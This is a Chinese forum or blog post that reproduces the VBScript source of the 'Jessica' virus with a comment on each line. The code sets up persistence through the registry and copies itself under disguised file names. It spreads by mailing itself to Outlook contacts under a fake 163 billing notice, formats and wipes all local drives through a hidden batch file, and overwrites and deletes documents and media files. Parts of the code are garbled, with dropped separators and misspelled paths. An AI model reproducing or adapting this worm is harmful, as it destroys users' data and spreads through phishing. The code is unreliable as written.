今天真是幸运，被我搞到了病毒Jessica的源代码。
  因为是用vbs编写的，所以贴在这里让大家看看。
  希望大家喜欢，也希望大家能从中学到东西。
  我给它加上了详细的解释。
  On Error Resume Next＇容错语句，避免程序崩溃
  dim filesyssysdirwindirfilevbscp
  Set filesys=CreateObject("Scripting.FileSystemObject")＇建立文件系统对象，必不可少
  set file=filesys.OpenTextFile(WScript.ScriptFullname1)＇以文本方式打开病毒自己
  vbscp=file.ReadAll＇读入自己的内容
  main()＇进入主过程
  sub main()＇主过程
  On Error Resume Next
  dim timeovererrsmimmeaddaddaddressc
  set timeover=CreateObject("WScript.Shell")
  err=timeover.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout")＇读入注册表中的超时键值
  if(err>=1)then＇超时设置
  timeover.RegWrite "HKEY——CURRENT——USER\Softwate\Microsoft\Windows Scripting Host\Settings\Timeout"0"REG_DWORD"
  end if
  set sm=CreateObject("WScript.Shell")
  imme=sm.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately")
  if(imme>=0)then＇修改OE的注册表键值，避免用户改为“不立刻发送邮件”
  sm.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Send Mail Immediately"1"REG_DWORD"
  end if
  set addadd=CreateObject("WScript.Shell")
  address=addadd.RegRead("HKEY_USERS\.DEFAULT\Identities\{C5D5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replices To WAB")
  if(address>=0)then＇修改OE的注册表键值，避免用户改为“不立刻添加通讯薄”
  addadd.RegWrite " HKEY_USERS\.DEFAULT\Identities\{C5F200-C07E-11D1-90A0-A3F032AC2F46}\Software\Microsoft\Outlook Express\5.0\Mail\Auto Add Replies To WAB"1"REG_DWORD"
  end if
  Set windir=filesys.GetSpecialFolder(0)＇得到windows目录
  Set sysdir=filesys.GetSpecialFolder(1)＇得到system目录
  Set c=filesys.GetFile(WScript.ScriptFullName)＇得到病毒的路径
  c.Copy(sysdir&"\Kernel32.vbs")＇将自己复制到system下
  c.Copy(windir&"\Rundll32.vbs")＇将自己复制到windows下
  c.Copy(sysdir&"\Table.htm.vbs")＇向system下再复制一个
  regload()＇调用写注册表的模块
  mailworm()＇调用发带病毒邮件的模块
  killc()＇调用改写自动批处理的模块
  alldrivers()＇调用删文件的模块
  end sub
  sub killc()＇破坏硬盘的过程
  On Error Resume Next
  dim fsautodiscdsssixdir
  Set fs=CreateObject("Scripting.FileSystemObject")
  Set auto=fs.CreateTextFile("c:\Auto.bat"True)＇建立或修改自动批处理
　auto.WriteLine("@echo off")＇屏蔽掉删除的进程
  auto.WriteLine("Smartdrv")＇加载驱动器的集合
  Set disc=fs.Drives＇得到驱动器的集合
  For Each ds in disc
  If ds.DriveType=2 Then＇如果驱动器是本地盘
  ss=ss&ds.DriveLetter＇就将符号连在一起
  End if
  Next
  ss=LCase(StrReverse(Trim(ss)))＇得到符号串的反向小写形式
  For i=1 to Len(ss)＇遍历每个驱动器
  x=Mid(ssi1)＇读每个驱动器的符号
  auto.WriteLine("format/autotest/q/u"&x&":")＇反向（从Z：到A:)自动格式化驱动器
  next
  For i=1 to Len(ss)
  x=Mid(ssi1)
  auto.WriteLine("deltree/y"&x&":")＇怕format失效，用deltree双保险
  next
  auto.Close＇关闭批处理文件
  set dir=fs.GetFile("c:\Auto.bat")
  dir.attributes=dir.attributes2＇将自动批处理文件改为隐藏
  End sub
  sub regload()＇从注册表中自动加载的过程
  On Error Resume Next
  reg"HKEY_LOCAL_MACHINE\Software\Microsofr\Windows\CurrenVersion\Run\Exploer"windir&"\Rundll32.vbs" ＇在HKLM的RUN下添加键值
  reg"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer"windir&"\Rundll32.vbs" ＇在hkcu的run下添加键值
  end sub
  sub alldrivers()＇得到本地驱动器的过程
  On Error Resume Next
  Dim ddcs
  Set dc =filesys.Drives＇得到本地驱动器的集合
  For Each d in dc ＇遍历每个驱动器
  if d.DriveType=2 or d.DriveType=3 Then＇如果是本地盘或网络盘
  folderlist(d.path&"\")＇就完善路径，如c：就变成c:end if
  Next
  listadriv=s＇得到目录列表
  end sub
  sub infectfiles(folderspec)＇感染文件的过程
  On Error Resume Next
  dim ff1fcextapcopsdocu
  set f=filesys.GetFolder(folderspec)＇建立目录对象
  set fc=f.Files＇得到文件的集合
  for each f1 in fc＇遍历每个文件
  ext=filesys.GetExtensionName(f1.path)＇得到文件的后缀名
  ext=lcase(ext)＇将后缀名小写
  s=)＇将文件路径小写
  if(ext="vbs")then ＇如果后缀是vbs
  set ap=filesys.OpenTextFile(f1.path2true)＇就以文本方式打开
  ap.write vbscp＇将自己写入文件，达到感染的目的
vbs整人代码病毒  ap.close＇关闭文件
  elseif(ext="doc")or(ext="xls")or(ext="zip")or(ext="mp3")then f1.attributes=0＇如果后缀是docxlszipmp3就将文件的属性改为无
  set docu=filesys.OpenTextFile(fi.path2true)＇以文本方式打开文件
  docu.write vbscp ＇写入自己的代码，以破坏文件
  docu.close＇关闭文件
  filesys.file f1.pathtrue＇将文件删除
  end if
  next
  end sub
  sub folderlist(folderspec)＇遍历目录的过程
  On Error Resume Next
  dim ff1sf
  set f=filesys.GetFolder(folderspec)＇建立目录对象
　set sf=f.SubFolders＇得到子目录的集合
  for each f1 in sf
  infectfiles(f1.path)＇遍历每个子目录
  folderlist(f1.path)＇递归算法，以穷尽子目录，相当耗内存
  next
  end sub
  sub reg(regkeyregvalue)＇写注册表的过程
  Set regedit=CreateObject("WScript.Shell")
  regedit.RegWrite regkeyregvalue
  end sub
  function regget(value)＇读注册表的过程
  Set regedit=CreateObject("WScript.Shell")
  regget=regedit.RegRead(value)
  end function
  function fileexist(filespec)＇判断文件是否存在的进程
  On Error Resume Next
  dim msg
  if (filesys.FileExists(filespec)) Then＇如果文件存在，返回0；否则1
  msg=0
  else
  msg=1
  end if
  fileexist=msg
  end function
  function folderexist(folderspec)＇判断目录是否存在的过程
  dim msg
  if(filesys.GetFolderExists(folderspec)) then ＇如果目录存在，返回0；否则1
  msg=0
  else
  msg=1
  end if
  fileexist=msg
  end function
  sub mailworm()＇发带病毒邮件的过程
  On Error Resume Next
  dim xactrlistsctrentriesmaleadbregeditregvregad
  set regedit=CreateObject("WScript.Shell")
  set out=WScript.CreatObject("Outlook.Application")＇建立Outlook对象
  set mapi=out.GetNameSpace("MAPI")
  for ctrlists=1 to mapi.AddressLists.Count＇遍历每个邮件地址
  set a=mapi.AddresLists(ctrlists)
  x=1
  regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
  if(regv="")then
  regv=1
  end if
  if(int(a.AddressEntries.Count)>int(regv)) then
  for ctrentries=1 to a.AddressEntries.Count＇如果地址个数大于注册表中的键值
  malead=a.AddressEntries(x)
  regad=""
  regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
  if(regad="")then
  set male=out.CreateItem(0)
  male.Recipients.Add(malead)
  male.Subject="163收费通知" ＇邮件标题
  male.Body=vbcrlf& "亲爱的用户：您好！163电子邮局近日实施对免费进行收费，欢迎您来租用163，一年的使用费为人民币100圆（100M空间）。" ＇邮件的内容
  male.Attachments.Add(sysdir&"\Table.htm.vbs")＇邮件的附件
  male.Send ＇发邮件！
  regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead1"REG_DWORD"
  end if
  x=x1
  next
  regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&aa.AddressEntries.Count
  else
  regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&aa.AddressEntries.Count
  end if
  next
  Set out=Nothing＇清空out变量
  Set mapi=Nothing ＇清空mapi

版权声明：本站内容均来自互联网，仅供演示用，请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198，我们将在24小时内删除。